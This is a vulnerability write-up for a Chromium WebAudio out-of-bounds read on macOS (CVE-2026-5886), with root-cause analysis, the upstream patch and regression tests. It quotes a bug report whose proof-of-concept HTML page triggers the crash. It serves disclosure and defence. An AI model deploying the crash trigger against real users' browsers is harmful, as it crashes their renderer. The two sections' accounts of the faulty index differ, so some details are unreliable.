CVE-2026-5886
Overview
Background
- `Biquad`
- WebAudio’s biquad filter DSP primitive; on macOS it uses a vecLib-accelerated path (
ProcessFast) guarded byBUILDFLAG(IS_MAC). - Filter history (`x1_`, `x2_`, `y1_`, `y2_`)
- the last two input and output samples the filter must carry across processing blocks for correct recursive filtering.
- `input_buffer_` / `output_buffer_`
- cached arrays allocated with two extra leading samples that hold this history; indices
[0]and[1]are the history slots. - Configurable render quantum (`renderSizeHint`)
- a newer WebAudio feature letting an
OfflineAudioContextchoose a render-block size, soframes_to_processcan be as small as 1 or very large.
Root Cause Analysis
On the macOS fixed-coefficient (non-automation) path, after calling ProcessFast the code recovered the last two output samples by indexing the destination block: y1_ = dest_p[frames_to_process - 1] and y2_ = dest_p[frames_to_process - 2]. This silently assumed frames_to_process >= 2, which held for the historically fixed 128-frame render quantum but not once the quantum became configurable via renderSizeHint. With a render quantum of 1, frames_to_process - 2 evaluates to dest_p[-1], an out-of-bounds read before the start of the destination buffer.
The fix reads the last outputs from the always-valid cached history buffer instead (y1_ = output_buffer_[1], y2_ = output_buffer_[0]), and similarly sources inputs from input_buffer_ rather than computing pointers, removing the dependence on frames_to_process for these accesses. The parallel change rewriting source_p[frames_to_process - 2 + 2] to source_p[frames_to_process] is an algebraically identical cleanup, not a behavioral fix.
dest_p[frames_to_process - 2], which underflows to a negative index when the configurable render quantum is smaller than 2; the fix reads that history from the dedicated output_buffer_ slots that are always valid.Attack Path
- Create a small-quantum context
Web content on macOS constructs an
OfflineAudioContextwithrenderSizeHint: 1(minimum), as the shipped regression test does. - Enter the fast path
It adds a
BiquadFilterNodewith no automation soHasSampleAccurateValues()is false, selecting the optimized macOSProcessFastbranch, and connects a source (e.g.OscillatorNode). - Render
startRendering()processes a block withframes_to_process == 1, so the history-recovery readdest_p[frames_to_process - 2]indexesdest_p[-1]. - Out-of-bounds read The filter reads a sample before the destination buffer, the OOB read the advisory describes; it is used to seed filter state, not shown by the diff to yield a disclosure primitive.
Impact Assessment
renderSizeHint feature and no user gesture. The vendor advisory rates it medium (out-of-bounds read in WebAudio) and does not report in-the-wild exploitation; any information disclosure beyond the read itself is (inferred).Changed Functions
| Function | Change | Notes |
|---|---|---|
forthird_party/blink/renderer/platform/audio/biquad.cc |
modified |
Files Changed
third_party/blink/renderer/platform/audio/biquad.ccthird_party/blink/web_tests/VirtualTestSuitesthird_party/blink/web_tests/webaudio/BiquadFilter/biquad-render-size-hint.html
Audit Directions
- Index expressions assuming a minimum frame countsearch WebAudio DSP for
frames_to_process - Nindexing that can underflow now that the render quantum is configurable. - Pointer arithmetic vs. cached stateflag places that recompute history from the live source/dest block instead of using the dedicated history buffers; the two can diverge at boundary sizes.
- Platform-specific fast pathsreview
BUILDFLAG(IS_MAC)(and other per-platform) accelerated branches for size assumptions that the portable path does not share.
Patch
From 63799115a9800826e2162aef62166ee562479107 Mon Sep 17 00:00:00 2001 From: Michael Wilson <[email protected]> Date: Tue, 24 Feb 2026 10:26:15 -0800 Subject: [PATCH] Update Biquad for configurable render quantum Use cached values directly for the Mac path instead of doing pointer arithmetic, and also add a smoke test. Bug: 485397283 Change-Id: I5194a8433ed4484e445b0dee7f3586a5baa89be4 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7596165 Reviewed-by: Hongchan Choi <[email protected]> Reviewed-by: Ian Kilpatrick <[email protected]> Commit-Queue: Michael Wilson <[email protected]> Cr-Commit-Position: refs/heads/main@{#1589538} --- diff --git a/third_party/blink/renderer/platform/audio/biquad.cc b/third_party/blink/renderer/platform/audio/biquad.cc index f37780c..9d226dc 100644 --- a/third_party/blink/renderer/platform/audio/biquad.cc +++ b/third_party/blink/renderer/platform/audio/biquad.cc @@ -132,16 +132,13 @@ // documented so it's not clear how to update them anyway. } else { #if BUILDFLAG(IS_MAC) - double* input_p = input_buffer_.Data(); - double* output_p = output_buffer_.Data(); - // Set up filter state. This is needed in case we're switching from // filtering with variable coefficients (i.e., with automations) to // fixed coefficients (without automations). - input_p[0] = x2_; - UNSAFE_TODO(input_p[1]) = x1_; - output_p[0] = y2_; - UNSAFE_TODO(output_p[1]) = y1_; + input_buffer_[0] = x2_; + UNSAFE_TODO(input_buffer_[1]) = x1_; + output_buffer_[0] = y2_; + UNSAFE_TODO(output_buffer_[1]) = y1_; // Use vecLib if available ProcessFast(source_p, dest_p, frames_to_process); @@ -151,11 +148,12 @@ // automation which needs the history to continue correctly. Because // sourceP and destP can be the same block of memory, we can't read from // sourceP to get the last inputs. Fortunately, processFast has put the - // last inputs in input[0] and input[1]. - x1_ = UNSAFE_TODO(input_p[1]); - x2_ = input_p[0]; - y1_ = UNSAFE_TODO(dest_p[frames_to_process - 1]); - y2_ = UNSAFE_TODO(dest_p[frames_to_process - 2]); + // last inputs in input_buffer_[0] and input_buffer_[1] and the last outputs + // in output_buffer_[0] and output_buffer_[1]. + x1_ = UNSAFE_TODO(input_buffer_[1]); + x2_ = input_buffer_[0]; + y1_ = UNSAFE_TODO(output_buffer_[1]); + y2_ = output_buffer_[0]; #else int n = frames_to_process; @@ -210,12 +208,6 @@ filter_coefficients[3] = a1_[0]; filter_coefficients[4] = a2_[0]; - double* input_p = input_buffer_.Data(); - double* output_p = output_buffer_.Data(); - - double* input2p = UNSAFE_TODO(input_p + 2); - double* output2p = UNSAFE_TODO(output_p + 2); - // Break up processing into smaller slices (kBiquadBufferSize) if necessary. int n = frames_to_process; @@ -224,14 +216,18 @@ int frames_this_time = n < kBiquadBufferSize ? n : kBiquadBufferSize; // Copy input to input buffer - for (int i = 0; i < frames_this_time; ++i) - UNSAFE_TODO(input2p[i]) = *UNSAFE_TODO(source_p++); + for (int i = 0; i < frames_this_time; ++i) { + UNSAFE_TODO(input_buffer_[i + 2]) = *UNSAFE_TODO(source_p++); + } - ProcessSliceFast(input_p, output_p, filter_coefficients, frames_this_time); + ProcessSliceFast(input_buffer_.Data(), output_buffer_.Data(), + filter_coefficients, frames_this_time); // Copy output buffer to output (converts float -> double). - for (int i = 0; i < frames_this_time; ++i) - *UNSAFE_TODO(dest_p++) = static_cast<float>(UNSAFE_TODO(output2p[i])); + for (int i = 0; i < frames_this_time; ++i) { + *UNSAFE_TODO(dest_p++) = + static_cast<float>(UNSAFE_TODO(output_buffer_[i + 2])); + } n -= frames_this_time; } @@ -248,10 +244,10 @@ // m_outputBuffer respectively. These buffers are allocated (in the // constructor) with space for two extra samples so it's OK to access array // values two beyond framesToProcess. - source_p[0] = UNSAFE_TODO(source_p[frames_to_process - 2 + 2]); - UNSAFE_TODO(source_p[1]) = UNSAFE_TODO(source_p[frames_to_process - 1 + 2]); - dest_p[0] = UNSAFE_TODO(dest_p[frames_to_process - 2 + 2]); - UNSAFE_TODO(dest_p[1]) = UNSAFE_TODO(dest_p[frames_to_process - 1 + 2]); + source_p[0] = UNSAFE_TODO(source_p[frames_to_process]); + UNSAFE_TODO(source_p[1]) = UNSAFE_TODO(source_p[frames_to_process + 1]); + dest_p[0] = UNSAFE_TODO(dest_p[frames_to_process]); + UNSAFE_TODO(dest_p[1]) = UNSAFE_TODO(dest_p[frames_to_process + 1]); } #endif // BUILDFLAG(IS_MAC) @@ -259,13 +255,11 @@ void Biquad::Reset() { #if BUILDFLAG(IS_MAC) // Two extra samples for filter history - double* input_p = input_buffer_.Data(); - input_p[0] = 0; - UNSAFE_TODO(input_p[1]) = 0; + input_buffer_[0] = 0; + UNSAFE_TODO(input_buffer_[1]) = 0; - double* output_p = output_buffer_.Data(); - output_p[0] = 0; - UNSAFE_TODO(output_p[1]) = 0; + output_buffer_[0] = 0; + UNSAFE_TODO(output_buffer_[1]) = 0; #endif x1_ = x2_ = y1_ = y2_ = 0; diff --git a/third_party/blink/web_tests/VirtualTestSuites b/third_party/blink/web_tests/VirtualTestSuites index f635d60..10b6282 100644 --- a/third_party/blink/web_tests/VirtualTestSuites +++ b/third_party/blink/web_tests/VirtualTestSuites @@ -6242,6 +6242,7 @@ "Android" ], "bases": [ + "webaudio/BiquadFilter/biquad-render-size-hint.html", "webaudio/WaveShaper/waveshaper-rendersizehint.html" ], "args": [ diff --git a/third_party/blink/web_tests/webaudio/BiquadFilter/biquad-render-size-hint.html b/third_party/blink/web_tests/webaudio/BiquadFilter/biquad-render-size-hint.html new file mode 100644 index 0000000..305ad005 --- /dev/null +++ b/third_party/blink/web_tests/webaudio/BiquadFilter/biquad-render-size-hint.html @@ -0,0 +1,61 @@ +<!doctype html> +<html> + <head> + <title>BiquadFilterNode RenderSizeHint</title> + <script src="../../resources/testharness.js"></script> + <script src="../../resources/testharnessreport.js"></script> + </head> + <body> + <script> + promise_test(async () => { + const ctx = new OfflineAudioContext({ + numberOfChannels: 1, + length: 128, + sampleRate: 3000, + renderSizeHint: 1, + }); + + // Create a BiquadFilterNode. By default, it has no automation, so + // HasSampleAccurateValues() will return false, which is required to + // enter the optimized path. + const biquad = new BiquadFilterNode(ctx, {type: 'lowpass'}); + + // Connect an oscillator to process some data. + const osc = new OscillatorNode(ctx, {frequency: 440}); + osc.connect(biquad); + biquad.connect(ctx.destination); + osc.start(); + + await ctx.startRendering(); + + // If we reach here, the test passed (no crash). + assert_true(true, 'Rendering completed without crashing.'); + }, 'BiquadFilterNode with minimum renderSizeHint should not crash'); + + promise_test(async () => { + const ctx = new OfflineAudioContext({ + numberOfChannels: 1, + length: 128, + sampleRate: 768000, + renderSizeHint: (768000 * 6), + }); + + // Create a BiquadFilterNode. By default, it has no automation, so + // HasSampleAccurateValues() will return false, which is required to + // enter the optimized path. + const biquad = new BiquadFilterNode(ctx, {type: 'lowpass'}); + + // Connect an oscillator to process some data. + const osc = new OscillatorNode(ctx, {frequency: 440}); + osc.connect(biquad); + biquad.connect(ctx.destination); + osc.start();
Regression Test / PoC
diff --git a/third_party/blink/web_tests/VirtualTestSuites b/third_party/blink/web_tests/VirtualTestSuites
index f635d60..10b6282 100644
--- a/third_party/blink/web_tests/VirtualTestSuites
+++ b/third_party/blink/web_tests/VirtualTestSuites
@@ -6242,6 +6242,7 @@
"Android"
],
"bases": [
+ "webaudio/BiquadFilter/biquad-render-size-hint.html",
"webaudio/WaveShaper/waveshaper-rendersizehint.html"
],
"args": [
diff --git a/third_party/blink/web_tests/webaudio/BiquadFilter/biquad-render-size-hint.html b/third_party/blink/web_tests/webaudio/BiquadFilter/biquad-render-size-hint.html
new file mode 100644
index 0000000..305ad005
--- /dev/null
+++ b/third_party/blink/web_tests/webaudio/BiquadFilter/biquad-render-size-hint.html
@@ -0,0 +1,61 @@
+<!doctype html>
+<html>
+ <head>
+ <title>BiquadFilterNode RenderSizeHint</title>
+ <script src="../../resources/testharness.js"></script>
+ <script src="../../resources/testharnessreport.js"></script>
+ </head>
+ <body>
+ <script>
+ promise_test(async () => {
+ const ctx = new OfflineAudioContext({
+ numberOfChannels: 1,
+ length: 128,
+ sampleRate: 3000,
+ renderSizeHint: 1,
+ });
+
+ // Create a BiquadFilterNode. By default, it has no automation, so
+ // HasSampleAccurateValues() will return false, which is required to
+ // enter the optimized path.
+ const biquad = new BiquadFilterNode(ctx, {type: 'lowpass'});
+
+ // Connect an oscillator to process some data.
+ const osc = new OscillatorNode(ctx, {frequency: 440});
+ osc.connect(biquad);
+ biquad.connect(ctx.destination);
+ osc.start();
+
+ await ctx.startRendering();
+
+ // If we reach here, the test passed (no crash).
+ assert_true(true, 'Rendering completed without crashing.');
+ }, 'BiquadFilterNode with minimum renderSizeHint should not crash');
+
+ promise_test(async () => {
+ const ctx = new OfflineAudioContext({
+ numberOfChannels: 1,
+ length: 128,
+ sampleRate: 768000,
+ renderSizeHint: (768000 * 6),
+ });
+
+ // Create a BiquadFilterNode. By default, it has no automation, so
+ // HasSampleAccurateValues() will return false, which is required to
+ // enter the optimized path.
+ const biquad = new BiquadFilterNode(ctx, {type: 'lowpass'});
+
+ // Connect an oscillator to process some data.
+ const osc = new OscillatorNode(ctx, {frequency: 440});
+ osc.connect(biquad);
+ biquad.connect(ctx.destination);
+ osc.start();
+
+ await ctx.startRendering();
+
+ // If we reach here, the test passed (no crash).
+ assert_true(true, 'Rendering completed without crashing.');
+ }, 'BiquadFilterNode with maximum renderSizeHint should not crash');
+ </script>
+ </body>
+</html>
Original Bug Report
Out-of-Bounds Read in Biquad::Process on macOS
Summary
The Biquad::Process method in Chromium’s WebAudio implementation contains a macOS-specific code path that reads filter history from dest_p[frames_to_process - 2], where frames_to_process is uint32_t. When the WebAudioConfigurableRenderQuantum Origin Trial feature is active and renderSizeHint is set to 1, frames_to_process becomes 1, causing the subtraction 1 - 2 to underflow to 0xFFFFFFFF. This results in an out-of-bounds read at approximately 16 GB past the destination buffer, crashing the renderer process with a SIGBUS signal on macOS.
Root Cause
The Biquad class implements IIR filtering for the BiquadFilterNode in the Web Audio API. On macOS, the Process method has an optimized code path that uses Apple’s Accelerate framework (vDSP) for filter computation. After calling ProcessFast to perform the actual filtering, the method saves two history samples from the output buffer for use in the next render quantum:
// third_party/blink/renderer/platform/audio/biquad.cc
void Biquad::Process(const float* source_p,
float* dest_p,
uint32_t frames_to_process) {
if (HasSampleAccurateValues()) {
// ... sample-accurate path (not affected) ...
} else {
#if BUILDFLAG(IS_MAC)
double* input_p = input_buffer_.Data();
double* output_p = output_buffer_.Data();
input_p[0] = x2_;
input_p[1] = x1_;
output_p[0] = y2_;
output_p[1] = y1_;
ProcessFast(source_p, dest_p, frames_to_process);
x1_ = input_p[1];
x2_ = input_p[0];
y1_ = dest_p[frames_to_process - 1];
y2_ = dest_p[frames_to_process - 2]; // underflow when frames_to_process == 1
#else
// ... non-Mac loop path (not affected) ...
#endif
}
}
The parameter frames_to_process is declared as uint32_t. When it equals 1, the expression frames_to_process - 2 does not produce -1 as a signed result; instead, the unsigned subtraction wraps around to 0xFFFFFFFF. The subsequent array access dest_p[0xFFFFFFFF] computes a byte offset of 0xFFFFFFFF * sizeof(float) = 0x3FFFFFFFC, approximately 16 GB past the start of the destination buffer. This address is virtually guaranteed to be unmapped, causing a SIGBUS on macOS ARM64.
This macOS-specific path is entered when HasSampleAccurateValues() returns false, which occurs whenever none of the BiquadFilterNode’s audio parameters (frequency, Q, gain, detune) have active automation timelines or incoming audio-rate connections. The BiquadFilterHandler::Process method explicitly sets this state:
// third_party/blink/renderer/modules/webaudio/biquad_filter_handler.cc
} else {
// No sample-accurate values
for (const auto& biquad : biquads_) {
biquad->SetHasSampleAccurateValues(false);
// ... set fixed filter coefficients ...
}
}
for (unsigned i = 0; i < biquads_.size(); ++i) {
biquads_[i]->Process(source_bus->Channel(i)->Data(),
destination_bus->Channel(i)->MutableData(),
frames_to_process);
}
The frames_to_process value originates from the render quantum size configured via renderSizeHint. When the WebAudioConfigurableRenderQuantum runtime feature is enabled, the user-supplied renderSizeHint is accepted after passing through IsValidRenderQuantumSize, which permits any value from 1 to 6 * sampleRate:
// third_party/blink/renderer/platform/audio/audio_utilities.cc
uint32_t MinRenderQuantumSize() { return 1; }
uint32_t MaxRenderQuantumSize(float sample_rate) {
return static_cast<uint32_t>(6 * sample_rate);
}
Setting renderSizeHint to 1 passes validation and propagates as frames_to_process = 1 into Biquad::Process, triggering the unsigned integer underflow. The non-macOS code path (the #else branch) uses a signed int n = frames_to_process loop that naturally terminates without out-of-bounds access, so only macOS builds are affected. Note that BUILDFLAG(IS_MAC) applies to all macOS builds regardless of CPU architecture, meaning both Intel and Apple Silicon Macs are vulnerable.
Reproduce
Save the following as poc_biquad_macos_oob_read.html:
<!DOCTYPE html>
<html>
<body>
<script>
async function trigger() {
try {
// renderSizeHint = 1: frames_to_process becomes uint32_t(1)
// In Biquad::Process (macOS vDSP path, HasSampleAccurateValues()==false):
// y1_ = dest_p[frames_to_process - 1]; // dest_p[0] - OK
// y2_ = dest_p[frames_to_process - 2]; // uint32(1-2) = 0xFFFFFFFF -> OOB read
const ctx = new OfflineAudioContext({
numberOfChannels: 1,
length: 64,
sampleRate: 44100,
renderSizeHint: 1
});
// BiquadFilterNode with default parameters (lowpass, no automations)
// No automation -> HasSampleAccurateValues() == false -> enters macOS vDSP path
const biquad = new BiquadFilterNode(ctx, { type: "lowpass" });
const osc = new OscillatorNode(ctx, { frequency: 440 });
osc.connect(biquad);
biquad.connect(ctx.destination);
osc.start();
console.log("[*] renderSizeHint = 1, frames_to_process = 1 (uint32_t)");
console.log("[*] Biquad::Process macOS path: dest_p[1-2] = dest_p[0xFFFFFFFF]");
console.log("[*] Expected: heap-buffer-overflow READ on macOS ASAN build");
console.log("[*] Starting offline rendering...");
await ctx.startRendering();
console.log("[!] Rendering completed (unexpected if on macOS ASAN)");
} catch (e) {
console.log("[!] Exception: " + e.name + ": " + e.message);
}
}
trigger();
</script>
</body>
</html>
Download a macOS ARM64 ASAN build of Chromium and run with:
chromium-asan-1586336-mac-arm64/Chromium.app/Contents/MacOS/Chromium \
--no-sandbox \
--enable-blink-features=WebAudioConfigurableRenderQuantum \
poc_biquad_macos_oob_read.html
The --enable-blink-features flag simulates the effect of a valid Origin Trial token for local reproduction. In a real attack scenario, the attacker would embed an Origin Trial token instead.
Output from execution confirms the crash:
Received signal 10 BUS_ADRALN 60340009d47c
[0x000312433bcc]
[0x000312407ae8]
[0x000312433a00]
[0x00019bfd56a4]
[0x00032201abfc]
[0x000322020f40]
[0x000321f80dc8]
[0x000321fa05b0]
[0x000321f9dd50]
[0x000321f9e1a0]
[0x00032207f74c]
[0x00032207e480]
[0x000322080908]
[0x0003122ce728]
[0x000312336280]
[0x00031233562c]
[0x0003121b7f2c]
[0x0003123375e0]
[0x00031225ca24]
[0x00030c1ab770]
[0x000312402218]
[0x000104d5566c]
[0x00019bf9bc0c]
[0x00019bf96b80]
[end of stack trace]
Signal 10 is SIGBUS on macOS, confirming the out-of-bounds read caused by the unsigned integer underflow in Biquad::Process. The renderer process is terminated immediately upon accessing the invalid memory address derived from dest_p[0xFFFFFFFF].